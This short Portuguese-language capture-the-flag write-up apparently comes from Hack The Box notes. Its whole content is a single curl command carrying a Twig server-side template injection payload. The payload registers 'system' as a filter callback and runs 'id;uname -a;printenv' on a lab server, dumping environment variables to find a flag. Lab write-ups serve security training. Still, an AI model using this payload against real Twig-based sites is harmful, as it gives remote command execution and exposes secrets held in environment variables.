# Question-1

Use o que você aprendeu nesta seção para obter o sinalizador que está oculto nas variáveis ​​de ambiente. Formato de resposta: HTB{String}



Payload :&#x20;

```
curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;printenv")}}' http://94.237.57.222:55319/ | grep "HTB{"
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F2DSA0xtgCth1P3OmKpDz%2Fimage.png?alt=media&#x26;token=0f22c586-0d5f-4647-b2e0-22e919f3da31" alt=""><figcaption></figcaption></figure>

